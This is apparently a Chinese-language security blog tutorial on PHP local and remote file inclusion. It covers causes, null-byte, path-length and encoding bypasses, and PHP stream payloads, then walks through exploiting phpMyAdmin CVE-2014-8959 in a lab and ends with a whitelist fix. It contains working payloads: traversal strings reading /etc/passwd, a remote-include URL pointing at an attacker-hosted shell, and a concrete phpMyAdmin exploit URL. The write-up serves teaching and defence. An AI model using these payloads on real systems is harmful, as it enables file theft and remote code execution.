最近在学习PHP代码审计相关内容,遇到的某些漏洞中提到了通过文件包含来实现某些操作。通过这段时间的学习,我总结了关于文件包含漏洞的如下理解。
什么是文件包含漏洞
通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意代码注入。
漏洞一般是随着功能来产生的,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。
产生原因
在应用开发过程中,为了减少工作量,增加代码复用率,方便开发人员实现功能。同时,此方式带来了安全方面的问题。尤其是当PHP包含一个文件时,会将该文件作为PHP代码执行,而不会在意文件究竟是什么类型的。
相关函数
常见导致文件包含的函数如下:
- PHP: include() , include_once() , require() , require_once() , fopen() , readfile() 等
- JSP Servlet: ava.io.File() , java.io.FileReader() 等
- ASP: includefile , includevirtual 等
漏洞类型及利用方式
本地文件包含(Local File Inclusion ,LFI)
代码示例如下:
<?php
$file = $_GET['file'];
if (file_exists('/home/wwwrun/'.$file.'.php')){
include '/home/wwwrun'.$file.'.php';
}
?>
此段代码中存在本地文件包含漏洞,可以通过%00截断的方式夺取文件,例如 /etc/passwd 文件内容。
远程文件包含(Remote File Inclusion, RFI)
漏洞点代码如下:
<?php
if ($route == "share") {
require_once $basePath."/action/m_share.php";
}elseif ($route == "sharelink"){
require_once $basePath."/action/m_sharelink.php";
}
?>
该漏洞通过构造表里 basePath 的值来实现代码执行。
/?basePath = http://attacker/phpshell.txt?
传入参数后 require_once 参数改变,具体执行的为如下语句:
require_once "http://attacker/phpshell.txt?/action/m_share.php";
require_once 参数 " ? " 后内容被解释为URL的 querystring (查询语句),实现了截断的效果。
- 利用 XSS 执行,此利用点体条件是 allow_url_fopen=On ,allow_url_include=On 并且防火墙或者白名单不允许访问外网时可利用,需要先在同站点找一个 XSS 漏洞,用 XSS 漏洞来包含这个页面,就可以实现注入攻击了。
利用姿势
本地文件包含:
- %00 截断,需要magic_quotes_gpc=off,PHP版本小于 5.3.4 有效。可以通过下图所示的 Wappalyzer 浏览器插件进行判断。
?file=../../../../../../../../../etc/passwd%00
- 超过路径最大长度截断,根据操作系统类型不同,需要截断的长度也不同,Linux 需要文件名长于4096,Windows 需要长于256。
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
- 点号截断,此截断方式只适用Windows,点号需要长于256。
?file=../../../../../../../../../boot.ini/………[…]…………
远程文件包含:
-
普通远程文件包含,条件是 allow_url_fopen = On 并且 allow_url_include = On
?file=[http|https|ftp]://example.com/shell.txt
-
利用 PHP 流 input,条件是 allow_url_include=On 。
?file = php://input
-
利用 PHP 流 filter,需要 allow_url_include=On。
?file=php://filter/convert.ba se64-encode/resource=index.php
-
利用 data URIs,需要 allow_url_include=On ,后面ba se64为自己编码的内容,其可能也作为了querystring 来执行。
?file=data://text/plain;ba se64,SSBsb3ZlIFBIUAo=
Bypass姿势:
%2e%2e%2f 等同于 ../
%2e%2e/等同于../
..%2f等同于../
%2e%2e%5c 等同于..\
%2e%2e\等同于..\
..%5c 等同于..\
%252e%252e%255c 等同于..\
..%255c 等同于..\
特殊Web 容器支持的编码方式:
- ..%c0%af 等同于 ../
- ..%c1%9c 等同于 ..\
注:
例如 CⅤE-2008-2938,就是一个 Tomcat 的目录遍历漏洞。
如果 context.xm l 或 server.xm l 允许ˈallowLinkingˈ和ˈURIencodingˈ为ˈUTF-8ˈ,攻击者就可以 以Web 权限获得重要的系统文件内容。
http://www.target.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
phpmyadmin 文件包含(CVE-2014-8959)
可通过以下链接直接启动 vulfocus 靶场环境 。
http://vulfocus.io/#/dashboard?image_id=253ec6f6-c8f7-4dbb-b443-ed4d59d795e0
或者可以用docker pull vulfocus/phpmyadmin-cve_2014_8959:latest
直接拉取 docker 镜像至本地。
该环境已包含一句话木马,我们可以直接通过文件包含漏洞利用这个木马。
如下代码所示,拉取镜像后,查看gis_data_editor.php 文件中$_REQUEST 作为超级全局遍历获取 gis_data 值,经过判断后传如 PMA_GIS_FACTORY::factory 函数。
<?php
// Get data if any posted
$gis_data = array();
if (PMA_isValid($_REQUEST['gis_data'], 'array')) {
$gis_data = $_REQUEST['gis_data'];
}
$gis_types = array(
'POINT',
'MULTIPOINT',
'LINESTRING',
'MULTILINESTRING',
'POLYGON',
'MULTIPOLYGON',
'GEOMETRYCOLLECTION'
);
// Extract type from the initial call and make sure that it's a valid one.
// Extract from field's values if availbale, if not use the column type passed.
if (! isset($gis_data['gis_type'])) {
if (isset($_REQUEST['type']) && $_REQUEST['type'] != '') {
$gis_data['gis_type'] = strtoupper($_REQUEST['type']);
}
if (isset($_REQUEST['value']) && trim($_REQUEST['value']) != '') {
$start = (substr($_REQUEST['value'], 0, 1) == "'") ? 1 : 0;
$gis_data['gis_type'] = substr(
$_REQUEST['value'], $start, strpos($_REQUEST['value'], "(") - $start
);
}
if ((! isset($gis_data['gis_type']))
|| (! in_array($gis_data['gis_type'], $gis_types))
) {
$gis_data['gis_type'] = $gis_types[0];
}
}
$geom_type = $gis_data['gis_type'];
// Generate parameters from value passed.
$gis_obj = PMA_GIS_Factory::factory($geom_type);
if (isset($_REQUEST['value'])) {
$gis_data = array_merge(
$gis_data, $gis_obj->generateParams($_REQUEST['value'])
);
}
最终通过 type_lower 拼接参数,因字符串后有后缀,所以需要进行截断。
<?php
public static function factory($type)
{
include_once './libraries/gis/pma_gis_geometry.php';
$type_lower = strtolower($type);
if (! file_exists('./libraries/gis/pma_gis_' . $type_lower . '.php')) {
return false;
}
if (include_once './libraries/gis/pma_gis_' . $type_lower . '.php') {
switch(strtoupper($type)) {
case 'MULTIPOLYGON' :
return PMA_GIS_Multipolygon::singleton();
case 'POLYGON' :
return PMA_GIS_Polygon::singleton();
case 'MULTIPOINT' :
return PMA_GIS_Multipoint::singleton();
case 'POINT' :
return PMA_GIS_Point::singleton();
case 'MULTILINESTRING' :
return PMA_GIS_Multilinestring::singleton();
case 'LINESTRING' :
return PMA_GIS_Linestring::singleton();
case 'GEOMETRYCOLLECTION' :
return PMA_GIS_Geometrycollection::singleton();
default :
return false;
}
} else {
return false;
}
}
另外需要注意的是,phpmyadmin的一个防御CSRF机制,使得 $_SESSION[' PMA_token '] 会检查是否等于 $_REQUEST['token'],如果不等于,最后会进入 PMA_remove_request_vars 函数,而进入此函数后,所有GPCR会被清除,会导致无法正常触发漏洞,所以在请求中需要代入token。
function PMA_remove_request_vars(&$whitelist)
{
// do not check only $_REQUEST because it could have been overwritten
// and use type casting because the variables could have become
// strings
$keys = array_keys(
array_merge((array)$_REQUEST, (array)$_GET, (array)$_POST, (array)$_COOKIE)
);
foreach ($keys as $key) {
if (! in_array($key, $whitelist)) {
unset($_REQUEST[$key], $_GET[$key], $_POST[$key], $GLOBALS[$key]);
} else {
// allowed stuff could be compromised so escape it
// we require it to be a string
if (isset($_REQUEST[$key]) && ! is_string($_REQUEST[$key])) {
unset($_REQUEST[$key]);
}
if (isset($_POST[$key]) && ! is_string($_POST[$key])) {
unset($_POST[$key]);
}
if (isset($_COOKIE[$key]) && ! is_string($_COOKIE[$key])) {
unset($_COOKIE[$key]);
}
if (isset($_GET[$key]) && ! is_string($_GET[$key])) {
unset($_GET[$key]);
}
}
}
}
构造payload如下
http://127.0.0.1/pma/gis_data_editor.php?token=c7a34f324978c38d50fd05a7a6ee8f11&gis_data[gis_type]=/../../../../1.gif%00
漏洞修复
要解决文件包含漏洞,应该尽量避免包含动态的变量,尤其是用户可以控制的变量。一种变通方式,则是使用枚举,比如:
<?php
$file = $_GET[ˈfileˈ];
// Whitelisting possible values
switch ($file) {
case ˈmainˈ:
case ˈfooˈ:
case ˈbarˈ:
include ˈ/home/wwwrun/include/ˈ.$file.ˈ.phpˈ;
break;
default:
include ˈ/home/wwwrun/include/main.phpˈ; }
?>
参考链接
[1] https://blog.csdn.net/weixin_42277564/article/details/80641849
[2] https://ctf-wiki.org/web/php/php/
[3] https://www.leavesongs.com/PENETRATION/phpmyadmin-local-file-include-vul.html
本文为白帽汇原创文章,如需转载请注明来源:https://nosec.org/home/detail/5001.html